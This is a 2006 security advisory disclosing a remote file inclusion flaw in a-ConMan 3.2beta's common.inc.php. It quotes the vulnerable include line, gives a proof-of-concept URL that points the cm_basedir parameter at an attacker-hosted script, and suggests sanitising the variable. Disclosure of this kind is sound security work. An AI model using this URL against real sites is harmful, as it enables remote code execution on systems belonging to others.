a-ConMan <= 3.2b (common.inc.php) Remote File Inclusion V

[zbeng]

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ECHO_ADV_61$2006

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[ECHO_ADV_61$2006] a-ConMan <= v3.2beta Remote File Inclusion

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Author : Ahmad Maulana a.k.a Matdhule

Date Found : November, 22nd 2006

Location : Indonesia, Jakarta

web : Critical'>http://advisories.echo.or.id/adv/adv61-matdhule-2006.txt

Critical Lvl : Highly critical

Impact : System access

Where : From Remote

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Affected software description:

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a-ConMan (Automated Content Management)

Application : a-ConMan (Automated Content Management)

version : 3.2beta

URL :

a-ConMan'>http://sourceforge.net/projects/a-conman

a-ConMan is a flexible database solution built to categorize and manage your image and video content. Giving you the ability to automate the building and updating for any type of content specific website within seconds. Utilizing one of the most advanced

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Vulnerability:

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I found vulnerability at script common.inc.php

-----------------------common.inc.php----------------------

....

<?php

include_once($cm_basedir."/ez_sql.php");

include_once($cm_basedir."/pg2ezsql.php");

// include_once($cm_basedir."/functions.php");

$ver = "3.1.1228";

...

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Input passed to the "cm_basedir" parameter in common.inc.php is not

properly verified before being used. This can be exploited to execute

arbitrary PHP code by including files from local or external

resources.

Proof Of Concept:

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http://target.com/[a-conman_path]/php.incs/common.inc.php?cm_basedir=http://attacker.com/inject.txt?

Solution:

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- Sanitize variable $cm_basedir on common.inc.php.

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Shoutz:

~~~

~ solpot a.k.a chris, J4mbi H4ck3r thx for the hacking lesson

~ y3dips,the_day,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous,str0ke

~ bius, lapets, BlueSpy, NpR, h4ntu, thama, Fungky

~ [mail]newbie_hacker@yahoogroups.com[/mail], [mail]jasakom_perjuangan@yahoogroups.com[/mail]

~ Solpotcrew Comunity (#nyubicrew @ allindo.net), #e-c-h-o @irc.dal.net

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Contact:

~~~~

matdhule[at]gmail[dot]com

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[4n4rchyl04d3r]

COOL!!!!!